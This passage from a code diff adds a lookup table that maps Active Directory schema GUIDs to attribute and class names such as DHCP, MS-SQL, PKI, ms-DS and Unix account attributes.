"ms-DS-Is-Member-Of-DL-Transitive", + "1d08694a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLDatabase", + "5b4a06dc-251c-4edb-8813-0bdd71327226": "ms-Authz-Central-Access-Rule", + "963d2741-48be-11d1-a9c3-0000f80367c1": "dhcp-Flags", + "bf9679c7-0de6-11d0-a285-00aa003049e2": "Moniker", + "f39b98ad-938d-11d1-aebd-0000f80367c1": "ms-RRAS-Attribute", + "0296c11f-40da-11d1-a9c0-0000f80367c1": "Phone-ISDN-Primary", + "bf9679d7-0de6-11d0-a285-00aa003049e2": "User-Workstations", + "e215395b-9104-44d9-b894-399ec9e21dfc": "ms-DS-Member-Transitive", + "963d2742-48be-11d1-a9c3-0000f80367c1": "dhcp-Identification", + "bf9679c8-0de6-11d0-a285-00aa003049e2": "Moniker-Display-Name", + "f39b98ac-938d-11d1-aebd-0000f80367c1": "ms-RRAS-Vendor-Attribute-Entry", + "0296c11e-40da-11d1-a9c0-0000f80367c1": "Phone-Mobile-Other", + "bf967a6f-0de6-11d0-a285-00aa003049e2": "USN-Changed", + "b918fe7d-971a-f404-9e21-9261abec970b": "ms-DS-Parent-Dist-Name", + "20af031a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-OLAPDatabase", + "a5679cb0-6f9d-432c-8b75-1e3e834f02aa": "ms-Authz-Central-Access-Policy", + "963d2747-48be-11d1-a9c3-0000f80367c1": "dhcp-Mask", + "1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1": "Move-Tree-State", + "a6f24a23-d65c-4d65-a64f-35fb6873c2b9": "ms-RADIUS-FramedInterfaceId", + "f0f8ffa3-1191-11d0-a060-00aa006c33ed": "Phone-Mobile-Primary", + "bf967a70-0de6-11d0-a285-00aa003049e2": "USN-Created", + "1e02d2ef-44ad-46b2-a67d-9fd18d780bca": "ms-DS-Repl-Value-Meta-Data-Ext", + "963d2754-48be-11d1-a9c3-0000f80367c1": "dhcp-MaxKey", + "998b10f7-aa1a-4364-b867-753d197fe670": "ms-COM-DefaultPartitionLink", + "a4da7289-92a3-42e5-b6b6-dad16d280ac9": "ms-RADIUS-SavedFramedInterfaceId", + "f0f8ffa5-1191-11d0-a060-00aa006c33ed": "Phone-Office-Other", + "bf967a71-0de6-11d0-a285-00aa003049e2": "USN-DSA-Last-Obj-Removed", + "6055f766-202e-49cd-a8be-e52bb159edfb": "ms-DS-Drs-Farm-ID", + "09f0506a-cd28-11d2-9993-0000f87a57d4": "MS-SQL-OLAPCube", + "5ef243a8-2a25-45a6-8b73-08a71ae677ce": "ms-Kds-Prov-ServerConfiguration", + "963d2744-48be-11d1-a9c3-0000f80367c1": "dhcp-Obj-Description", + "430f678b-889f-41f2-9843-203b5a65572f": "ms-COM-ObjectId", + "f63ed610-d67c-494d-87be-cd1e24359a38": "ms-RADIUS-FramedIpv6Prefix", + "f0f8ffa4-1191-11d0-a060-00aa006c33ed": "Phone-Pager-Other", + "a8df7498-c5ea-11d1-bbcb-0080c76670c0": "USN-Intersite", + "b5f1edfe-b4d2-4076-ab0f-6148342b0bf6": "ms-DS-Issuer-Public-Certificates", + "963d2743-48be-11d1-a9c3-0000f80367c1": "dhcp-Obj-Name", + "09abac62-043f-4702-ac2b-6ca15eee5754": "ms-COM-PartitionLink", + "0965a062-b1e1-403b-b48d-5c0eb0e952cc": "ms-RADIUS-SavedFramedIpv6Prefix", + "f0f8ffa6-1191-11d0-a060-00aa006c33ed": "Phone-Pager-Primary", + "bf967a73-0de6-11d0-a285-00aa003049e2": "USN-Last-Obj-Rem", + "60686ace-6c27-43de-a4e5-f00c2f8d3309": "ms-DS-IsManaged", + "ca7b9735-4b2a-4e49-89c3-99025334dc94": "ms-TAPI-Rt-Conference", + "aa02fd41-17e0-4f18-8687-b2239649736b": "ms-Kds-Prov-RootKey", + "963d274f-48be-11d1-a9c3-0000f80367c1": "dhcp-Options", + "67f121dc-7d02-4c7d-82f5-9ad4c950ac34": "ms-COM-PartitionSetLink", + "5a5aa804-3083-4863-94e5-018a79a22ec0": "ms-RADIUS-FramedIpv6Route", + "9c979768-ba1a-4c08-9632-c6a5c1ed649a": "photo", + "167758ad-47f3-11d1-a9c3-0000f80367c1": "USN-Source", + "5315ba8e-958f-4b52-bd38-1349a304dd63": "ms-DS-Cloud-IsManaged", + "963d2753-48be-11d1-a9c3-0000f80367c1": "dhcp-Properties", + "9e6f3a4d-242c-4f37-b068-36b57f9fc852": "ms-COM-UserLink", + "9666bb5c-df9d-4d41-b437-2eec7e27c9b3": "ms-RADIUS-SavedFramedIpv6Route", + "bf9679f7-0de6-11d0-a285-00aa003049e2": "Physical-Delivery-Office-Name", + "4d2fa380-7f54-11d2-992a-0000f87a57d4": "Valid-Accesses", + "78565e80-03d4-4fe3-afac-8c3bca2f3653": "ms-DS-Cloud-Anchor", + "53ea1cb5-b704-4df9-818f-5cb4ec86cac1": "ms-TAPI-Rt-Person", + "7b8b558a-93a5-4af7-adca-c017e67f1057": "ms-DS-Group-Managed-Service-Account", + "963d2748-48be-11d1-a9c3-0000f80367c1": "dhcp-Ranges", + "8e940c8a-e477-4367-b08d-ff2ff942dcd7": "ms-COM-UserPartitionSetLink", + "3532dfd8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Name", + "b7b13119-b82e-11d0-afee-0000f80367c1": "Physical-Location-Object", + "281416df-1968-11d0-a28f-00aa003049e2": "Vendor", + "a1e8b54f-4bd6-4fd2-98e2-bcee92a55497": "ms-DS-Cloud-Issuer-Public-Certificates", + "963d274a-48be-11d1-a9c3-0000f80367c1": "dhcp-Reservations", + "e85e1204-3434-41ad-9b56-e2901228fff0": "MS-DRM-Identity-Certificate", + "48fd44ea-ccee-11d2-9993-0000f87a57d4": "MS-SQL-RegisteredOwner", + "8d3bca50-1d7e-11d0-a081-00aa006c33ed": "Picture", + "bf967a76-0de6-11d0-a285-00aa003049e2": "Version-Number", + "89848328-7c4e-4f6f-a013-28ce3ad282dc": "ms-DS-Cloud-IsEnabled", + "50ca5d7d-5c8b-4ef3-b9df-5b66d491e526": "ms-WMI-IntRangeParam", + "e3c27fdf-b01d-4f4e-87e7-056eef0eb922": "ms-DS-Value-Type", + "963d2745-48be-11d1-a9c3-0000f80367c1": "dhcp-Servers", + "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "ms-DS-Additional-Dns-Host-Name", + "4f6cbdd8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Contact", + "fc5a9106-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Critical-Extensions", + "7d6c0e9a-7e20-11d0-afd6-00c04fd930c9": "Version-Number-Hi", + "b7acc3d2-2a74-4fa4-ac25-e63fe8b61218": "ms-DS-SyncServerUrl", + "963d2749-48be-11d1-a9c3-0000f80367c1": "dhcp-Sites", + "975571df-a4d5-429a-9f59-cdc6581d91e6": "ms-DS-Additional-Sam-Account-Name", + "561c9644-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Location", + "1ef6336e-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Default-CSPs", + "7d6c0e9b-7e20-11d0-afd6-00c04fd930c9": "Version-Number-Lo", + "de0caa7f-724e-4286-b179-192671efc664": "ms-DS-User-Allowed-To-Authenticate-To", + "292f0d9a-cf76-42b0-841f-b650f331df62": "ms-WMI-IntSetParam", + "2eeb62b3-1373-fe45-8101-387f1676edc7": "ms-DS-Claims-Transformation-Policy-Type", + "963d2752-48be-11d1-a9c3-0000f80367c1": "dhcp-State", + "d3aa4a5c-4e03-4810-97aa-2b339e7a434b": "MS-DS-All-Users-Trust-Quota", + "5b5d448c-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Memory", + "426cae6e-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Default-Key-Spec", + "1f0075fd-7e40-11d0-afd6-00c04fd930c9": "Vol-Table-GUID", + "2c4c9600-b0e1-447d-8dda-74902257bdb5": "ms-DS-User-Allowed-To-Authenticate-From", + "963d2746-48be-11d1-a9c3-0000f80367c1": "dhcp-Subnets", + "8469441b-9ac4-4e45-8205-bd219dbf672d": "ms-DS-Allowed-DNS-Suffixes", + "603e94c4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Build", + "926be278-56f9-11d2-90d0-00c04fd91ab1": "PKI-Enrollment-Access", + "1f0075fb-7e40-11d0-afd6-00c04fd930c9": "Vol-Table-Idx-GUID", + "8521c983-f599-420f-b9ab-b1222bdf95c1": "ms-DS-User-TGT-Lifetime", + "07502414-fdca-4851-b04a-13645b11d226": "ms-WMI-MergeablePolicyTemplate", + "c8fca9b1-7d88-bb4f-827a-448927710762": "ms-DS-Claims-Transformation-Policies", + "963d273b-48be-11d1-a9c3-0000f80367c1": "dhcp-Type", + "800d94d7-b7a1-42a1-b14d-7cae1423d07f": "ms-DS-Allowed-To-Delegate-To", + "64933a3e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-ServiceAccount", + "041570d2-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Expiration-Period", + "34aaa217-b699-11d0-afee-0000f80367c1": "Volume-Count", + "105babe9-077e-4793-b974-ef0410b62573": "ms-DS-Computer-Allowed-To-Authenticate-To", + "963d273a-48be-11d1-a9c3-0000f80367c1": "dhcp-Unique-Key", + "c4af1073-ee50-4be0-b8c0-89a41fe99abe": "ms-DS-Auxiliary-Classes", + "696177a6-ccee-11d2-9993-0000f87a57d4": "MS-SQL-CharacterSet", + "18976af6-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Extended-Key-Usage", + "244b2970-5abd-11d0-afd2-00c04fd930c9": "Wbem-Path", + "2e937524-dfb9-4cac-a436-a5b7da64fd66": "ms-DS-Computer-TGT-Lifetime", + "55dd81c9-c312-41f9-a84d-c6adbdf1e8e1": "ms-WMI-ObjectEncoding", + "641e87a4-8326-4771-ba2d-c706df35e35a": "ms-DS-Cloud-Extensions", + "963d2755-48be-11d1-a9c3-0000f80367c1": "dhcp-Update-Time", + "e185d243-f6ce-4adb-b496-b0c005d7823c": "ms-DS-Approx-Immed-Subordinates", + "6ddc42c0-ccee-11d2-9993-0000f87a57d4": "MS-SQL-SortOrder", + "e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Key-Usage", + "05308983-7688-11d1-aded-00c04fd8d5cd": "Well-Known-Objects", + "f2973131-9b4d-4820-b4de-0474ef3b849f": "ms-DS-Service-Allowed-To-Authenticate-To", + "bf967953-0de6-11d0-a285-00aa003049e2": "Display-Name", + "3e1ee99c-6604-4489-89d9-84798a89515a": "ms-DS-AuthenticatedAt-DC", + "72dc918a-ccee-11d2-9993-0000f87a57d4": "MS-SQL-UnicodeSortOrder", + "f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Max-Issuing-Depth", + "bf967a77-0de6-11d0-a285-00aa003049e2": "When-Changed", + "97da709a-3716-4966-b1d1-838ba53c3d89": "ms-DS-Service-Allowed-To-Authenticate-From", + "e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1": "ms-WMI-PolicyTemplate", + "310b55ce-3dcd-4392-a96d-c9e35397c24f": "ms-DS-Device-Registration-Service-Container", + "bf967954-0de6-11d0-a285-00aa003049e2": "Display-Name-Printable", + "e8b2c971-a6df-47bc-8d6f-62770d527aa5": "ms-DS-AuthenticatedTo-Accountlist", + "7778bd90-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Clustered", + "1219a3ec-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Overlap-Period", + "bf967a78-0de6-11d0-a285-00aa003049e2": "When-Created", + "5dfe3c20-ca29-407d-9bab-8421e55eb75c": "ms-DS-Service-TGT-Lifetime", + "9a7ad946-ca53-11d1-bbd0-0080c76670c0": "DIT-Content-Rules", + "503fc3e8-1cc6-461a-99a3-9eee04f402a7": "ms-DS-Az-Application-Data", + "7b91c840-ccee-11d2-9993-0000f87a57d4": "MS-SQL-NamedPipe", + "8447f9f1-1027-11d0-a05f-00aa006c33ed": "PKT", + "bf967a79-0de6-11d0-a285-00aa003049e2": "Winsock-Addresses", + "b23fc141-0df5-4aea-b33d-6cf493077b3f": "ms-DS-Assigned-AuthN-Policy-Silo", + "595b2613-4109-4e77-9013-a3bb4ef277c7": "ms-WMI-PolicyType", + "96bc3a1a-e3d2-49d3-af11-7b0df79d67f5": "ms-DS-Device-Registration-Service", + "fe6136a0-2073-11d0-a9c2-00aa006c33ed": "Division", + "db5b0728-6208-4876-83b7-95d3e5695275": "ms-DS-Az-Application-Name", + "8157fa38-ccee-11d2-9993-0000f87a57d4": "MS-SQL-MultiProtocol", + "8447f9f0-1027-11d0-a05f-00aa006c33ed": "PKT-Guid", + "bf967a7a-0de6-11d0-a285-00aa003049e2": "WWW-Home-Page", + "33140514-f57a-47d2-8ec4-04c4666600c7": "ms-DS-Assigned-AuthN-Policy-Silo-BL", + "f0f8ff8b-1191-11d0-a060-00aa006c33ed": "DMD-Location", + "7184a120-3ac4-47ae-848f-fe0ab20784d4": "ms-DS-Az-Application-Version", + "86b08004-ccee-11d2-9993-0000f87a57d4": "MS-SQL-SPX", + "19405b96-3cfa-11d1-a9c0-0000f80367c1": "Policy-Replication-Flags", + "9a9a0221-4a5b-11d1-a9c3-0000f80367c1": "WWW-Page-Other", + "164d1e05-48a6-4886-a8e9-77a2006e3c77": "ms-DS-AuthN-Policy-Silo-Members", + "45fb5a57-5018-4d0f-9056-997c8c9122d9": "ms-WMI-RangeParam", + "7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11": "ms-DS-Device-Container", + "167757b9-47f3-11d1-a9c3-0000f80367c1": "DMD-Name", + "33d41ea8-c0c9-4c92-9494-f104878413fd": "ms-DS-Az-Biz-Rule", + "8ac263a6-ccee-11d2-9993-0000f87a57d4": "MS-SQL-TCPIP", + "281416c4-1968-11d0-a28f-00aa003049e2": "Port-Name", + "bf967a7b-0de6-11d0-a285-00aa003049e2": "X121-Address", + "11fccbc7-fbe4-4951-b4b7-addf6f9efd44": "ms-DS-AuthN-Policy-Silo-Members-BL", + "2df90d86-009f-11d2-aa4c-00c04fd7d83a": "DN-Reference-Update", + "52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25": "ms-DS-Az-Biz-Rule-Language", + "8fda89f4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-AppleTalk", + "bf9679fa-0de6-11d0-a285-00aa003049e2": "Poss-Superiors", + "d07da11f-8a3d-42b6-b0aa-76c962be719a": "x500uniqueIdentifier", + "cd26b9f3-d415-442a-8f78-7c61523ee95b": "ms-DS-User-AuthN-Policy", + "6afe8fe2-70bc-4cce-b166-a96f7359c514": "ms-WMI-RealRangeParam", + "d2b1470a-8f84-491e-a752-b401ee00fe5c": "ms-DS-AuthN-Policy-Silos", + "e0fa1e65-9b45-11d0-afdd-00c04fd930c9": "Dns-Allow-Dynamic", + "013a7277-5c2d-49ef-a7de-b765b36a3f6f": "ms-DS-Az-Class-ID", + "94c56394-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Vines", + "9a7ad94c-ca53-11d1-bbd0-0080c76670c0": "Possible-Inferiors", + "bf967a7f-0de6-11d0-a285-00aa003049e2": "X509-Cert", + "2f17faa9-5d47-4b1f-977e-aa52fabe65c8": "ms-DS-User-AuthN-Policy-BL", + "e0fa1e66-9b45-11d0-afdd-00c04fd930c9": "Dns-Allow-XFR", + "6448f56a-ca70-4e2e-b0af-d20e4ce653d0": "ms-DS-Az-Domain-Timeout", + "9a7d4770-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Status", + "bf9679fb-0de6-11d0-a285-00aa003049e2": "Post-Office-Box", + "612cb747-c0e8-4f92-9221-fdd5f15b550d": "UnixUserPassword", + "afb863c9-bea3-440f-a9f3-6153cc668929": "ms-DS-Computer-AuthN-Policy", + "3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66": "ms-WMI-Rule", + "3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4": "ms-DS-AuthN-Policies", + "72e39547-7b18-11d1-adef-00c04fd8d5cd": "DNS-Host-Name", + "f90abab0-186c-4418-bb85-88447c87222a": "ms-DS-Az-Generate-Audits", + "9fcc43d4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastUpdatedDate", + "bf9679fc-0de6-11d0-a285-00aa003049e2": "Postal-Address", + "850fcc8f-9c6b-47e1-b671-7c654be4d5b3": "UidNumber", + "2bef6232-30a1-457e-8604-7af6dbf131b8": "ms-DS-Computer-AuthN-Policy-BL", + "e0fa1e68-9b45-11d0-afdd-00c04fd930c9": "Dns-Notify-Secondaries", + "665acb5c-bb92-4dbc-8c59-b3638eab09b3": "ms-DS-Az-Last-Imported-Biz-Rule-Path", + "a42cd510-ccee-11d2-9993-0000f87a57d4": "MS-SQL-InformationURL", + "bf9679fd-0de6-11d0-a285-00aa003049e2": "Postal-Code", + "c5b95f0c-ec9e-41c4-849c-b46597ed6696": "GidNumber", + "2a6a6d95-28ce-49ee-bb24-6d1fc01e3111": "ms-DS-Service-AuthN-Policy", + "f1e44bdf-8dd3-4235-9c86-f91f31f5b569": "ms-WMI-ShadowObject", + "f9f0461e-697d-4689-9299-37e61d617b0d": "ms-DS-AuthN-Policy-Silo", + "675a15fe-3b70-11d2-90cc-00c04fd91ab1": "DNS-Property", + "5e53368b-fc94-45c8-9d7d-daf31ee7112d": "ms-DS-Az-LDAP-Query", + "a92d23da-ccee-11d2-9993-0000f87a57d4": "MS-SQL-ConnectionURL", + "bf9679fe-0de6-11d0-a285-00aa003049e2": "Preferred-Delivery-Method", + "a3e03f1f-1d55-4253-a0af-30c2a784e46e": "Gecos", + "2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2": "ms-DS-Service-AuthN-Policy-BL", + "f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7": "ms-DS-Device-MDMStatus", + "e0fa1e69-9b45-11d0-afdd-00c04fd930c9": "Dns-Record", + "cfb9adb7-c4b7-4059-9568-1ed9db6b7248": "ms-DS-Az-Major-Version", + "ae0c11b8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-PublicationURL", + "856be0d0-18e7-46e1-8f5f-7ee4d9020e0d": "preferredLanguage", + "bc2dba12-000f-464d-bf1d-0808465d8843": "UnixHomeDirectory", + "b87a0ad8-54f7-49c1-84a0-e64d12853588": "ms-DS-Assigned-AuthN-Policy", + "6cc8b2b5-12df-44f6-8307-e74f5cdee369": "ms-WMI-SimplePolicyTemplate", + "a11703b7-5641-4d9c-863e-5fb3325e74e0": "ms-DS-GeoCoordinates-Altitude", + "bf967959-0de6-11d0-a285-00aa003049e2": "Dns-Root", + "ee85ed93-b209-4788-8165-e702f51bfbf3": "ms-DS-Az-Minor-Version", + "b222ba0e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSLatitude", + "bf9679ff-0de6-11d0-a285-00aa003049e2": "Preferred-OU", + "a553d12c-3231-4c5e-8adf-8d189697721e": "LoginShell", + "2d131b3c-d39f-4aee-815e-8db4bc1ce7ac": "ms-DS-Assigned-AuthN-Policy-BL", + "dc66d44e-3d43-40f5-85c5-3c12e169927e": "ms-DS-GeoCoordinates-Latitude", + "e0fa1e67-9b45-11d0-afdd-00c04fd930c9": "Dns-Secure-Secondaries", + "a5f3b553-5d76-4cbe-ba3f-4312152cab18": "ms-DS-Az-Operation-ID", + "b7577c94-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSLongitude", + "52458022-ca6a-11d0-afff-0000f80367c1": "Prefix-Map", + "f8f2689c-29e8-4843-8177-e8b98e15eeac": "ShadowLastChange", + "7a560cc2-ec45-44ba-b2d7-21236ad59fd5": "ms-DS-AuthN-Policy-Enforced", + "ab857078-0142-4406-945b-34c9b6b13372": "ms-WMI-Som", + "94c42110-bae4-4cea-8577-af813af5da25": "ms-DS-GeoCoordinates-Longitude", + "d5eb2eb7-be4e-463b-a214-634a44d7392e": "DNS-Tombstoned", + "515a6b06-2617-4173-8099-d5605df043c6": "ms-DS-Az-Scope-Name", + "bcdd4f0e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSHeight", + "a8df744b-c5ea-11d1-bbcb-0080c76670c0": "Presentation-Address", + "a76b8737-e5a1-4568-b057-dc12e04be4b2": "ShadowMin", + "f2f51102-6be0-493d-8726-1546cdbc8771": "ms-DS-AuthN-Policy-Silo-Enforced", + "bd29bf90-66ad-40e1-887b-10df070419a6": "ms-DS-External-Directory-Object-Id", + "f18a8e19-af5f-4478-b096-6f35c27eb83f": "documentAuthor", + "2629f66a-1f95-4bf3-a296-8e9d7b9e30c8": "ms-DS-Az-Script-Engine-Cache-Max", + "c07cc1d0-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Version", + "963d2739-48be-11d1-a9c3-0000f80367c1": "Previous-CA-Certificates", + "f285c952-50dd-449e-9160-3b880d99988d": "ShadowMax", + "0bc579a2-1da7-4cea-b699-807f3b9d63a4": "ms-WMI-StringSetParam", + "0b21ce82-ff63-46d9-90fb-c8b9f24e97b9": "documentIdentifier", + "87d0fb41-2c8b-41f6-b972-11fdfd50d6b0": "ms-DS-Az-Script-Timeout", + "c57f72f4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Language", + "963d273d-48be-11d1-a9c3-0000f80367c1": "Previous-Parent-CA", + "7ae89c9c-2976-4a46-bb8a-340f88560117": "ShadowWarning", + "2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e": "account", + "bf967aa1-0de6-11d0-a285-00aa003049e2": "Mail-Recipient", + "b958b14e-ac6d-4ec4-8892-be70b69f7281": "documentLocation", + "7b078544-6c82-4fe9-872f-ff48ad2b2e26": "ms-DS-Az-Task-Is-Role-Definition", + "8386603c-ccef-11d2-9993-0000f87a57d4": "MS-SQL-Description", + "bf967a00-0de6-11d0-a285-00aa003049e2": "Primary-Group-ID", + "86871d1f-3310-4312-8efd-af49dcfb2671": "ShadowInactive", + "bf967a83-0de6-11d0-a285-00aa003049e2": "Class-Schema", + "d9a799b2-cef3-48b3-b5ad-fb85f8dd3214": "ms-WMI-UintRangeParam", + "59527d0f-b7c0-4ce2-a1dd-71cef6963292": "ms-DS-Is-Compliant", + "170f09d7-eb69-448a-9a30-f1afecfd32d7": "documentPublisher", + "8491e548-6c38-4365-a732-af041569b02c": "ms-DS-Az-Object-Guid", + "ca48eba8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Type", + "c0ed8738-7efd-4481-84d9-66d2db8be369": "Primary-Group-Token", + "75159a00-1fff-4cf4-8bff-4ef2695cf643": "ShadowExpire", + "d1328fbc-8574-4150-881d-0b1088827878": "ms-DS-Key-Principal-BL", + "de265a9c-ff2c-47b9-91dc-6e6fe2c43062": "documentTitle", + "b5f7e349-7a5b-407c-a334-a31c3f538b98": "ms-DS-Az-Generic-Data", + "d0aedb2e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-InformationDirectory", + "281416d7-1968-11d0-a28f-00aa003049e2": "Print-Attributes", + "8dfeb70d-c5db-46b6-b15e-a4389e6cee9b": "ShadowFlag", + "7f561288-5301-11d1-a9c5-0000f80367c1": "ACS-Policy", + "8f4beb31-4e19-46f5-932e-5fa03c339b1d": "ms-WMI-UintSetParam", + "c4a46807-6adc-4bbb-97de-6bed181a1bfe": "ms-DS-Device-Trust-Type", + "94b3a8a9-d613-4cec-9aad-5fbcc1046b43": "documentVersion", + "d31a8757-2447-4545-8081-3bb610cacbf2": "ms-DS-Behavior-Version", + "d5a0dbdc-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Database", + "281416cd-1968-11d0-a28f-00aa003049e2": "Print-Bin-Names", + "03dab236-672e-4f61-ab64-f77d2dc2ffab": "MemberUid", + "1dcc0722-aab0-4fef-956f-276fe19de107": "ms-DS-Shadow-Principal-Sid", + "7bfdcb7a-4807-11d1-a9c3-0000f80367c1": "Domain-Certificate-Authorities", + "f0d8972e-dd5b-40e5-a51d-044c7c17ece7": "ms-DS-Byte-Array", + "db77be4a-ccee-11d2-9993-0000f87a57d4": "MS-SQL-AllowAnonymousSubscription", + "281416d2-1968-11d0-a28f-00aa003049e2": "Print-Collate", + "0f6a17dc-53e5-4be8-9442-8f3ce2f9012a": "MemberNisNetgroup", + "2e899b04-2834-11d3-91d4-0000f87a57d4": "ACS-Resource-Limits", + "b82ac26b-c6db-4098-92c6-49c18a3336e1": "ms-WMI-UnknownRangeParam", + "19195a55-6da0-11d0-afd3-00c04fd930c9": "Domain-Component", + "69cab008-cdd4-4bc9-bab8-0ff37efe1b20": "ms-DS-Cached-Membership", + "e0c6baae-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Alias", + "281416d3-1968-11d0-a28f-00aa003049e2": "Print-Color", + "a8032e74-30ef-4ff5-affc-0fc217783fec": "NisNetgroupTriple", + "11f95545-d712-4c50-b847-d2781537c633": "ms-DS-Shadow-Principal-Container", + "b000ea7b-a086-11d0-afdd-00c04fd930c9": "Domain-Cross-Ref", + "3566bf1f-beee-4dcb-8abe-ef89fcfec6c1": "ms-DS-Cached-Membership-Time-Stamp", + "e9098084-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Size", + "281416cc-1968-11d0-a28f-00aa003049e2": "Print-Duplex-Supported", + "ff2daebf-f463-495a-8405-3e483641eaa2": "IpServicePort", + "7f561289-5301-11d1-a9c5-0000f80367c1": "ACS-Subnet", + "05630000-3927-4ede-bf27-ca91f275c26f": "ms-WMI-WMIGPO", + "963d2734-48be-11d1-a9c3-0000f80367c1": "Domain-ID", + "23773dc2-b63a-11d2-90e1-00c04fd91ab1": "MS-DS-Consistency-Guid", + "ede14754-ccee-11d2-9993-0000f87a57d4": "MS-SQL-CreationDate", + "281416ca-1968-11d0-a28f-00aa003049e2": "Print-End-Time", + "cd96ec0b-1ed6-43b4-b26b-f170b645883f": "IpServiceProtocol", + "770f4cb3-1643-469c-b766-edd77aa75e14": "ms-DS-Shadow-Principal", + "7f561278-5301-11d1-a9c5-0000f80367c1": "Domain-Identifier", + "178b7bc2-b63a-11d2-90e1-00c04fd91ab1": "MS-DS-Consistency-Child-Count", + "f2b6abca-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastBackupDate", + "281416cb-1968-11d0-a28f-00aa003049e2": "Print-Form-Name", + "ebf5c6eb-0e2d-4415-9670-1081993b4211": "IpProtocolNumber", + "3e74f60f-3e73-11d1-a9c0-0000f80367c1": "Address-Book-Container", + "9a0dc344-c100-11d1-bbc5-0080c76670c0": "MSMQ-Configuration", + "c294f84b-2fad-4b71-be4c-9fc5701f60ba": "ms-DS-Key-Id", + "bf96795d-0de6-11d0-a285-00aa003049e2": "Domain-Policy-Object", + "c5e60132-1480-11d3-91c1-0000f87a57d4": "MS-DS-Creator-SID", + "f6d6dd88-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastDiagnosticDate", + "ba305f6d-47e3-11d0-a1a6-00c04fd930c9": "Print-Keep-Printed-Jobs", + "966825f5-01d9-4a5c-a011-d15ae84efa55": "OncRpcNumber", + "a12e0e9f-dedb-4f31-8f21-1311b958182f": "ms-DS-Key-Material", + "80a67e2a-9f22-11d0-afdd-00c04fd930c9": "Domain-Policy-Reference", + "234fcbd8-fb52-4908-a328-fd9f6e58e403": "ms-DS-Date-Time", + "fbcda2ea-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Applications", + "281416d6-1968-11d0-a28f-00aa003049e2": "Print-Language", + "de8bb721-85dc-4fde-b687-9657688e667e": "IpHostNumber", + "5fd4250a-1262-11d0-a060-00aa006c33ed": "Address-Template", + "876d6817-35cc-436c-acea-5ef7174dd9be": "MSMQ-Custom-Recipient", + "de71b44c-29ba-4597-9eca-c3348ace1917": "ms-DS-Key-Usage", + "bf96795e-0de6-11d0-a285-00aa003049e2": "Domain-Replica", + "6818f726-674b-441b-8a3a-f40596374cea": "ms-DS-Default-Quota", + "01e9a98a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-Keywords", + "ba305f7a-47e3-11d0-a1a6-00c04fd930c9": "Print-MAC-Address", + "4e3854f4-3087-42a4-a813-bb0c528958d3": "IpNetworkNumber", + "bd61253b-9401-4139-a693-356fc400f3ea": "ms-DS-Key-Principal", + "80a67e29-9f22-11d0-afdd-00c04fd930c9": "Domain-Wide-Policy", + "a9b38cb6-189a-4def-8a70-0fcfa158148e": "ms-DS-Deleted-Object-Lifetime", + "c1676858-d34b-11d2-999a-0000f87a57d4": "MS-SQL-Publisher", + "281416d1-1968-11d0-a28f-00aa003049e2": "Print-Max-Copies", + "6ff64fcd-462e-4f62-b44a-9a5347659eb9": "IpNetmaskNumber", + "3fdfee4f-47f4-11d1-a9c3-0000f80367c1": "Application-Entity", + "9a0dc345-c100-11d1-bbc5-0080c76670c0": "MSMQ-Enterprise-Settings", + "642c1129-3899-4721-8e21-4839e3988ce5": "ms-DS-Device-DN", + "1a1aa5b5-262e-4df6-af04-2cf6b0d80048": "drink", + "2143acca-eead-4d29-b591-85fa49ce9173": "ms-DS-DnsRootAlias", + "c3bb7054-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowKnownPullSubscription", + "281416cf-1968-11d0-a28f-00aa003049e2": "Print-Max-Resolution-Supported", + "e6a522dd-9770-43e1-89de-1de5044328f7": "MacAddress", + "dffbd720-0872-402e-9940-fcd78db049ba": "ms-DS-Computer-SID", + "281416c5-1968-11d0-a28f-00aa003049e2": "Driver-Name", + "5706aeaf-b940-4fb2-bcfc-5268683ad9fe": "ms-DS-Enabled-Feature", + "c4186b6e-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowImmediateUpdatingSubscription", + "ba305f6f-47e3-11d0-a1a6-00c04fd930c9": "Print-Max-X-Extent", + "d72a0750-8c7c-416e-8714-e65f11e908be": "BootParameter", + "5fd4250b-1262-11d0-a060-00aa006c33ed": "Application-Process", + 